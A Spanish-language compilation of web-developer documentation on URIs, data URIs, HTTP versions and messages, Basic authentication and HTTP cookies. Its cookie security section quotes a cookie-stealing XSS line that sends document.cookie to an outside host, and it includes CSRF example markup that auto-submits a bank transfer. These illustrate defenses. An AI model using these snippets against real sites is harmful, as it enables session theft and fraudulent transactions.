Recursos Web: URIs, URLs y Datos URIs
Recursos Web: URIs, URLs y Datos URIs
La forma más común de URI es la (URL) (de las siglas en ingles: "Uniform Resource
Locator", que podría traducirse como: Localizador Uniforme de Recursos), que se conoce
como la dirección web.
[Link]
[Link]
[Link]
Una URL está compuesta de diferentes partes, algunas obligatorias y otras son opcionales.
Un ejemplo más complejo podría tener este aspecto:
[Link]
key1=value1&key2=value2#SomewhereInTheDocument
URNs
Un URN es una URI que identifica un recurso por su nombre en un espacio de nombres
particular.
urn:isbn:9780141036144
urn:ietf:rfc:7230
Esquema Descripción
Data Datos URIs
File Host-nombre de archivo específicos
ftp Protocolo de Transferencia de Archivos
http/https Protocolo de transferencia de Hipertexto (Seguro)
mailto Dirección de correo electrónico
Ssh shell seguro
Tel teléfono
Urn Nombres Uniformes de Recursos
view-source Código fuente del recurso
ws/wss (Encriptado) conexiones WebSocket
Autoridad
Puerto
:80 es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los
recursos en el servidor web. Usualmente es omitido si el servidor web usa los
puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para
permitir el acceso a sus recursos. De lo contrario, es obligatorio.
Ruta de Acceso
Consulta
Ejemplos
[Link]
[Link]
git@[Link]:mdn/[Link]
[Link]
urn:isbn:9780141036144
Datos URIs
Datos URIs, URLs prefijados con los datos: esquema, permiten a los
creadores de contenido incorporar pequeños archivos en linea en los
documentos.
Sintaxis
Los datos URIs se componen de cuatro partes a: un prefijo (data:), un tipo MIME que
indica el tipo de datos, un token base64 opcional no textual, y los datos en si:
data:[<mediatype>][;base64],<data>
El mediatype es una cadena de tipo MIME, por ejemplo 'image/jpeg' para un archivo de
imagen JPEG. si se omite, será por defecto text/plain;charset=US-ASCII
Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes
adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64
para insertar datos binarios codificados en base-64.
Algunos ejemplos:
data:,Hello%2C%20World!
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
data:text/html,<script>alert('hi');</script>
Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se
requiere la etiqueta script de cierre.
BASHCopy to Clipboard
uuencode -m infile remotename
El parámetro infile es el nombre para el archivo que desees decodificar en formato base64,
y remotename es el nombre remoto para el archivo, que no se utilizará realmente en los
datos de las URLs.
Las Web tiene APIs primitivas para codificar o decodificar en base64: codificación y
decodificación Base64 (en-US).
Problemas comunes
Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los
datos URIs.
Sintaxis
El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una
coma antes del segmento de la "data", o para codificar incorrectamente los datos en
formato base64.
Formateando en HTML
Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser
muy amplia con relación con el ancho del documento de cierre. Como una URL, los
datos se les puede dar formato con espacios en blanco (avance de línea, pestaña, o
espacios), pero hay cuestiones prácticas que se plantean cuando se usa codificación
base64.
Limitaciones de longitud
Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los
navegadores no están obligados a apoyar cualquier longitud máxima de datos en
particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de los
65000 caracteres.
Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar
una cadena de consulta (parametros específicos de página, con la sintaxis <url>?
parameter-data) con un URIs de datos que se acaba de incluir la cadena de
consulta en los datos de la URI que representa. Por ejemplo:
Artículos
Generalidades del HTTP
HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas
versiones varias veces. En este artículo se expone la evolución de su desarrollo y las
versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como
detalles de las funciones que se han ido incluyendo.
Una breve descripción sobre qué son los recursos, identificadores y localidades en
la Web.
URIs de datos
Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan.
Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas.
Los recursos URL, prefijados con resource: en vez de http son usados por Firefox y
algunas extensiones del navegador para cargar recursos internamente, pero parte de
la información también está disponible para los sitios a los que se conecta el
navegador.
Tipos MIME
Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se
explican los resultados de la elección y cómo hacerla.
En este artículo se describe una comunicación típica de una sesión HTTP, y lo que
sucede internamente cuando se hace click en un hiper-vínculo.
Mensajes HTTP
Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy
concreta; en este artículo se describe su estructura, su propósito y posibilidades.
HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y
el pipelining. En este artículo se explican estos dos conceptos.
HTTP presenta una serie de cabeceras que comienzan con Accept- como medio para
notificar al navegador, el formato, lenguaje, o codificación que prefiere. En este
artículo se explica el este proceso, como debe actuar el servidor, y como se elige la
respuesta más apropiada.
En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona
su petición: hay otros tipos de dispositivos: como routers, modems ... Es gracias a la
arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y
al servidor, ya que HTTP se apoya en los protocolos de red y transporte. HTTP es un
protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar
problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición
del protocolo HTTP .
El agente del usuario, es cualquier herramienta que actué en representación del usuario.
Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay
excepciones, como el caso de programas específicamente usados por desarrolladores para
desarrollar y depurar sus aplicaciones.
Para poder mostrar una página Web, el navegador envía una petición de
documento HTML al servidor. Entonces procesa este documento, y envía más peticiones
para solicitar scripts, hojas de estilo (CSS), y otros datos que necesite (normalmente vídeos
y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado
final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden
generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la
página Web en consecuencia.
Una página Web, es un documento de hipertexto (HTTP), luego habrá partes del texto en la
página que puedan ser enlaces (links) que pueden ser activados (normalmente al hacer click
sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su
agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en
peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al
usuario la página Web que desea.
El servidor Web
Al otro lado del canal de comunicación, está el servidor, el cual "sirve" los datos que ha
pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar
formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u
otros programas, que gestionan otros computadores (como cache, bases de datos, servidores
de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido.
Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios
servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1
y Host , pueden incluso compartir la misma dirección de IP.
Proxies
Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los
mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos
solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de
transporte, capa de red o capa física, siendo así transparentes para la capa de
comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la
comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son
conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones
que pasan por ellos), y realizan varias funciones:
caching (la caché puede ser pública o privada, como la caché de un navegador)
filtrado (como un anti-virus, control parental, ...)
balanceo de carga de peticiones (para permitir a varios servidores responder a la
carga total de peticiones que reciben)
autentificación (para el control al acceso de recursos y datos)
registro de eventos (para tener un histórico de los eventos que se producen)
HTTP es extensible
Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo
sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse,
sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras
de HTTP.
HTTP es un protocolo con sesiones, pero sin estados
HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la
mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar
con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de
"cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras
HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar
datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del
protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de
comunicación.
HTTP y conexiones
Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del
alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo
sustenta mantenga una conexión continua entre los participantes en la comunicación,
solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en
todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un
error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP,
no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a
conexión, aunque una conexión continua no es necesaria siempre.
En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada
petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y
crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto
sería más eficiente si se mandaran varios mensajes.
Flujo de HTTP
Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a
través de un proxy intermedio, realiza los siguientes pasos:
1. Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias,
y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una
existente, o abrir varias a la vez hacia el servidor.
2. Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en
texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se
encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el
principio de operación es el mismo.
HTMLCopy to Clipboard
HTTP/1.1 200 OK
Date: Sat, 09 Oct 2010 14:28:02 GMT
Server: Apache
Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
ETag: "51142bc1-7449-479b075b2891b"
Accept-Ranges: bytes
Content-Length: 29769
Content-Type: text/html
<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
Si está activado el HTTP pipelining, varias peticiones pueden enviarse sin tener que esperar
que la primera respuesta haya sido satisfecha. Este procedimiento es difícil de implementar
en las redes de computadores actuales, donde se mezclan software antiguos y modernos.
Así que el HTTP pipelining ha sido substituido en HTTP/2 por el multiplexado de varias
peticiones en una sola trama
Mensajes HTTP
En las versiones del protocolo HTTP/1.1 y anteriores los mensajes eran de formato texto y
eran totalmente comprensibles directamente por una persona. En HTTP/2, los mensajes
estan estructurados en un nuevo formato binario y las tramas permiten la compresión de las
cabeceras y su multiplexación. Así pues, incluso si solamente parte del mensaje original en
HTTP se envía en este formato, la sematica de cada mensaje es la misma y el cliente puede
formar el mensaje original en HTTP/1.1. Luego, es posible interpretar los mensajes
HTTP/2 en el formato de HTTP/1.1.
Existen dos tipos de mensajes HTTP: peticiones y respuestas, cada uno sigue su propio
formato.
Peticiones
Respuestas
Un ejemplo de repuesta:
Las respuestas están formadas por los siguientes campos:
Conclusión
El protocolo HTTP es un protocolo ampliable y fácil de usar. Su estructura cliente-servidor,
junto con la capacidad para usar cabeceras, permite a este protocolo evolucionar con las
nuevas y futuras aplicaciones en Internet.
Aunque la versión del protocolo HTTP/2 añade algo de complejidad, al utilizar un formato
en binario, esto aumenta su rendimiento, y la estructura y semantica de los mensajes es la
misma desde la versión HTTP/1.0. El flujo de comunicaciones en una sesión es sencillo y
puede ser fácilmente estudiado e investigado con un simple monitor de mensajes HTTP
Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros
servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de
1991, el post de Tim Berners-Lee, se considera actualmente como el inicio oficial de la
Web como proyecto público.
La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla,
posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola
línea.
GET /[Link]
La respuesta también es muy sencilla: solamente consiste el archivo pedido.
HTMLCopy to Clipboard
<html>
Una pagina web muy sencilla
</html>
La versión del protocolo se envía con cada petición: HTTP/1.0 se añade a la línea de
la petición GET.
Se envía también un código de estado al comienzo de la respuesta, permitiendo así
que el navegador pueda responder al éxito o fracaso de la petición realizada, y
actuar en consecuencia (como actualizar el archivo o usar la caché local de algún
modo).
El concepto de cabeceras de HTTP, se presentó tanto para las peticiones como para
las respuestas, permitiendo la trasmisión de meta-data y conformando un protocolo
muy versátil y ampliable.
Con el uso de las cabeceras de HTTP, se pudieron transmitir otros documentos
además de HTML, mediante la cabecera Content-Type.
200 OK
Date: Tue, 15 Nov 1994 08:12:31 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/html
<HTML>
Una pagina web con una imagen
<IMG SRC="/[Link]">
</HTML>
Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una
aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador,
añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo
eran muy comunes los problemas de interoperatividad. En Noviembre de 1996, para poner
fin a estos problemas se publicó un documento informativo que describía las prácticas
adecuadas, RFC 1945. Esté documento es la definición del protocolo HTTP/1.0. Resulta
curioso, que realmente no es un estándar oficial.
Una conexión podía ser reutilizada, ahorrando así el tiempo de re-abrirla repetidas
veces para mostrar los recursos empotrados dentro del documento original pedido.
Enrutamiento ('Pipelining' en inglés) se añadió a la especificación, permitiendo
realizar una segunda petición de datos, antes de que fuera respondida la primera,
disminuyendo de este modo la latencia de la comunicación.
Se permitió que las respuestas a peticiones, podían ser divididas en sub-partes.
Se añadieron controles adicionales a los mecanismos de gestión de la cache.
La negociación de contenido, incluyendo el lenguaje, el tipo de codificación, o
tipos, se añadieron a la especificación, permitiendo que servidor y cliente, acordasen
el contenido más adecuado a intercambiarse.
Gracias a la cabecera, Host, pudo ser posible alojar varios dominios en la misma
dirección IP.
El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone
a continuación:
(...contenido...)
200 OK
Age: 9578461
Cache-Control: public, max-age=315360000
Connection: keep-alive
Content-Length: 3077
Content-Type: image/png
Date: Thu, 31 Mar 2016 13:34:46 GMT
Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
Server: Apache
Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la
Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico,
pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para
obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos
o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones
que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener
acceso a más y mayor información personal como contactos, e-mails, o posición geográfica
del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del
ámbito del comercio electrónico.
La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura.
Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma
remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había
desarrollado para permitir la autoría, y fue creado un estándar denominado WebDAB. Este
fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros
de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones
'*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para
poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante
acotado.
En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés:
'Representational State Transfer'). Las acciones de la nueva API, no estaban supeditadas a
nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1).
Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la
recuperación y modificación de datos, sin tener que actualizar servidores o navegadores;
todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La
contrapartida del modelo REST está en que cada sitio Web define su propia versión no
estándar de API RESTful y tiene un control total sobre ella; al contrario del formato *DAV
donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy
común a partir del año 2010.
Desde el año 2005, las APIs disponibles para páginas Web han aumentado
considerablemente, y muchas de estas nuevas APIs dependen de cabeceras HTTP
específicas para funciones concretas:
Eventos enviados por el servidor: El servidor es el que ocasionalmente inicia los
mensajes hacia el navegador.
WebSocket (en-US), un nuevo protocolo que puede establecerse actualizando una
conexión HTTP existente.
Además de estas ampliaciones, muchas otras cabeceras han sido añadidas, algunas
unicamente experimentales. Algunas de ellas notables son: Do Not Track (DNT (en-US));
cabecera de control de privacidad: X-Frame-Options, y Upgrade-Insecure-Requests (en-
US).
Esta rápida adopción era esperada, ya que el uso de HTTP/2, no requiere de una adaptación
de los sitios Web y aplicaciones: el uso de HTTP/1.1 o HTTP/2 es transparente para ellos.
El uso de un servidor actual, comunicandose con un navegador actualizado, es suficiente
para permitir su uso: únicamente en casos partículares fue necesario impulsar su utilización;
y según se actualizan servidores y navegadores antiguos, su utilización aumenta, sin que
requiera un mayor esfuerzo de los desarrolladores Web.
Peticiones HTTP
Línea de inicio
Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el
servidor. Su línea de inicio está formada por tres elementos:
1. Un método HTTP, un verbo como: GET, PUT o POST) o un nombre como: HEAD (en-
US) o OPTIONS (en-US)), que describan la acción que se pide sea realizada. Por
ejemplo, GET indica que un archivo ha de ser enviado hacia el cliente,
o POST indica que hay datos que van a ser enviados hacia el servidor (creando o
modificando un recurso, o generando un documento temporal para ser enviado).
2. El objetivo de una petición, normalmente es una URL, o la dirección completa del
protocolo, puerto y dominio también suelen ser especificados por el contexto de la
petición. El formato del objetivo de la petición varia según los distintos métodos
HTTP. Puede ser:
Una dirección absoluta, seguida de un signo de cierre de interrogación '?' y
un texto de consulta. Este es el formato más comun, conocido como el
formato original ('origin form' en inglés), se usa en los
métodos GET, POST, HEAD, y OPTIONS . POST / HTTP 1.1 GET
/[Link] HTTP/1.0 HEAD /[Link]?query=alibaba HTTP/1.1
OPTIONS /[Link] HTTP/1.0
Una URL completa; conocido como el formato absoluto, usado mayormente
con GET cuando se conecta a un proxy. GET
[Link] HTTP/1.1
El componente de autoriade de una URL, formado por el nombre del
domínio y opcionalmente el puerto (el puerto precedido por el simbolo ':' ),
se denomina a este formato como el formato de autoridad. Unicamente se
usa con CONNECT cuando se establece un tunel HTTP. CONNECT
[Link] HTTP/1.1
El formato de asterisco, se utliza un asterisco ('*') junto con las
opciones: OPTIONS , representando al servidor entero en conjunto. OPTIONS
* HTTP/1.1
3. la versión de HTTP, la cual define la estructura de los mensajes, actuando como
indicador, de la versión que espera que se use para la respuesta.
Cabeceras
Las cabeceras HTTP de una petición siguen la misma estructura que la de una cabecera
HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por
dos puntos (':') y un valor cuya estructura depende de la cabecera. La cabecera completa,
incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga.
La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones
que reclaman datos, como GET, HEAD, DELETE, o OPTIONS, normalmente, no necesitan
ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de
actualizarlo: como es el caso con la petición POST (que contiene datos de un formulario
HTML).
Cuerpos con un único dato, que consisten en un único archivo defindo por las dos
cabeceras: Content-Type y Content-Length.
Cuerpos con múltiples datos, que están formados por distintos contenidos,
normalmente estan asociados con los formularios HTML (en-US).
Respuestas HTTP
Línea de estado
Una línea de estado típica es por ejemplo: HTTP/1.1 404 Not Found.
Cabeceras
Las cabeceras HTTP para respuestas siguen también la misma estructura como cualquier
otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas,
seguida por dos puntos (':') y un valor cuya estructura depende del tipo de cabecera. Toda la
cabecera incluido su valor, se ha de expresar en una única línea.
Cuerpo
La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno,
respuestas con un código de estado como 201 o 204 (en-US) normalmente prescinden de él.
HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un
flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite la
compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces
se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las
conexiónes TCP.
Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en
HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios
en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las
usan ambos: servidor y navegador.
Conclusión
Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente
ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia
entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se
construye sobre mecanismos de transmisión probados.
Autenticación HTTP
HTTP nos brinda un marco general para el control de acceso y de
autenticación. El esquema de autenticación HTTP más común es la
autenticación "Basic". Esta página presenta el framework general de
autenticación HTTP y muestra cómo restringir el acceso a tu servidor con
la autenticación HTTP Basic.
Si el servidor proxy recibe unas credenciales válidas que no son adecuadas para acceder a
un determinado recurso, el servidor respondera con el código de estado 403 Forbidden.
Diferente al código de estado 401 Unauthorized o 407 (en-US) Proxy Authentication
Required, donde la autenticación es imposible para ese usuario.
Esquemas de autenticación
El marco general de autenticación HTTP es usado por varios esquemas de autenticación.
Los esquemas pueden diferenciarse por la dureza en la seguridad y en su disponibilidad en
software de clientes o servidores.
El esquema de autenticaón mas común es "Basic", que es introducido con mas detalle
abajo. IANA mantiene una lista de esquemas de autenticación, pero existen otros esquemas
ofrecidos por proveedores de servicios, como Amazon AWS. Los esquemas de
autenticación incluídas:
Basic (ver RFC 7617, credenciales codificadas en base64 . Ver mas abajo para mas
información.),
Bearer (ver RFC 6750, bearer tokens de acceso en recursos protegidos mediante
OAuth 2.0),
Digest (ver RFC 7616, has MD5 solo soportado en Firefox, ver Error 472823 en
Firefox para encriptado SHA),
HOBA (ver RFC 7486 (borrador), HTTP Origin-Bound Authentication, basado en
firma digital),
Mutual (ver draft-ietf-httpauth-mutual),
AWS4-HMAC-SHA256 (ver AWS docs).
Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es
codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación
básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas
mejoras de seguridad, la autenticación básica no debe ser usada para proteger información
sensible o valiosa.
Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los
ficheros .htaccess y .htpasswd.
AuthType Basic
AuthName "Access to the staging site"
AuthUserFile /path/to/.htpasswd
Require valid-user
El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un
nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este
ejemplo no puedes ver la contraseña porque está encriptada (utilizando md5 en este caso).
Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero
teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado
normalmente para prevenir el acceso a ficheros .ht*).
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
location /status {
auth_basic "Access to the staging site";
auth_basic_user_file /etc/apache2/.htpasswd;
}
[Link]
HTTP cookies
Una cookie HTTP, cookie web o cookie de navegador es una pequeña
pieza de datos que un servidor envía a el navegador web del usuario. El
navegador guarda estos datos y los envía de regreso junto con la nueva
petición al mismo servidor. Las cookies se usan generalmente para
decirle al servidor que dos peticiones tienen su origen en el mismo
navegador web lo que permite, por ejemplo, mantener la sesión de un
usuario abierta. Las cookies permiten recordar la información de estado
en vista a que el protocolo HTTP es un protocolo sin estado.
Las cookies se utilizan principalmente con tres propósitos:
Gestión de Sesiones
Personalización
Rastreo
Las cookies se usaron una vez para el almacenamiento general del lado
del cliente. Si bien esto era legítimo cuando eran la única forma de
almacenar datos en el cliente, hoy en día se recomienda preferir las API
de almacenamiento modernas. Las cookies se envían con cada solicitud,
por lo que pueden empeorar el rendimiento (especialmente para las
conexiones de datos móviles). Las APIs modernas para el
almacenamiento del cliente son la Web storage
API (localStorage y sessionStorage) e IndexedDB.
Creando cookies
Al recibir una solicitud HTTP, un servidor puede enviar un encabezado Set-Cookie con la
respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se
envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP Cookie. Se
puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la
cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que
limita el lugar donde se envía la cookie.
El encabezado de respuesta HTTP Set-Cookie envía las cookies del servidor al agente de
usuario. Una cookie simple se establece así:
Set-Cookie: <nombre-cookie>=<valor-cookie>
Este encabezado del servidor le dice al cliente que almacene una cookie.
Nota: Aquí se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado
del servidor:
PHP
[Link]
Python
Ruby on Rails
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies
almacenadas previamente al servidor utilizando el encabezado Cookie.
Cookies de sesión
Cookies Permanentes
En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una
fecha específica (Expires) o tras un periodo de tiempo específico (Max-Age).
Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo
HTTPS. Incluso con Secure, no debería almacenarse nunca información sensible en la
cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real.
A partir de Chrome 52 y Firefox 52, los sitios inseguros (http:) no pueden establecer
cookies con la directiva Secure.
Para prevenir ataques cross-site scripting (XSS (en-US)), las cookies HttpOnly son
inaccesibles desde la API de Javascript [Link]; Solamente se envían al servidor.
Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar
disponibles para JavaScript, por lo que debería establecerse el flag HttpOnly.
Las directivas Domain y Path definen el alcance de la cookie: a qué URLs deberían
enviarse las cookies.
Domain especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma
como valor por defecto el host del [Link] actual, (en-US) excluyendo
subdominios. Si se especifica Domain, los subdominios son siempre incluidos.
Path indica una ruta URL que debe existir en la URL solicitada para enviar el header. El
carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios
también coincidirán.
/docs
/docs/Web/
/docs/Web/HTTP
Las cookies SameSite permiten a los servidores requerir que una cookie no sea enviada con
solicitudes cross-site (donde Site (en-US) es definido por el dominio registrabe), lo que
proporciona algo de protección contra ataques cross-site request forgery (CSRF).
Las cookies SameSite son relativamente nuevas y soportadas por los principales
navegadores.
Strict
Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la
solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó
desde una URL diferente que la URL del location actual, no se incluirá ninguna
cookie etiquetada con el atributo Strict.
Lax
El comportamiento por defecto de este flag si no está establecido, o no está soportado por el
navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.
JSCopy to Clipboard
[Link] = "yummy_cookie=choco";
[Link] = "tasty_cookie=strawberry";
[Link]([Link]);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
Tenga en cuenta las cuestiones de seguridad en la siguiente sección Seguridad. Las cookies
disponibles para JavaScript pueden ser robadas por medio de XSS.
Seguridad
Nota: Nunca se debe almacenar ni transmitir información confidecial o sensible mediante
Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.
Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su
sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión
del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería
social o la explotación de una vulnerabilidad XSS (en-US) de la aplicación.
JSCopy to Clipboard
new Image().src =
"[Link] + [Link];
El atributo cookie HttpOnly puede ayudar a mitigar este ataque evitando el acceso al valor
de la cookie a través de JavaScript.
Cross-site request forgery (CSRF)
Wikipedia menciona buenos ejemplos para CSRF. En este caso, alguien puede incluir una
imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en
lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:
HTMLCopy to Clipboard
<img
src="[Link]
account=bob&amount=1000000&for=mallory" />
Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen
siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu
cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que
requieren una petición de tipo POST, se puede disparar un evento de tipo envío de
formulario (posiblemente en un iframe invisible) cuando la página se carga:
HTMLCopy to Clipboard
<form action="[Link] method="POST">
<input type="hidden" name="account" value="bob" />
<input type="hidden" name="amount" value="1000000" />
<input type="hidden" name="for" value="mallory" />
</form>
<script>
[Link]('DOMContentLoaded', (e) =>
{ [Link]('form').submit(); }
</script>
Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:
Rastreo y privacidad
Cookies de terceros
Las Cookies tienen un dominio asociado a ellas. Si este dominio es el mismo que el
dominio de la página en la que el cliente se encuentra, se llama cookie de origen. Si el
dominio es distinto, se denomina cookie de terceros. Si bien las cookies de origen se envían
únicamente al servidor que las configura, una página web puede contener imágenes u otros
componentes almacenados en servidores de otros dominios (como publicidad). Las cookies
que se envían a través de estos componentes de terceros se utilizan principalmente para
publicidad y seguimiento en la web. Por ejemplo, los tipos de cookies utilizadas por
Google.
Un servidor de terceros puede crear un perfil del historial y los hábitos de navegación de un
usuario basándose en las cookies que le envía el mismo navegador al acceder a varios
sitios. Firefox, de forma predeterminada, bloquea las cookies de terceros que se sabe que
contienen rastreadores. Las cookies de terceros (o simplemente las cookies de seguimiento)
también pueden bloquearse mediante otras configuraciones o extensiones del navegador. El
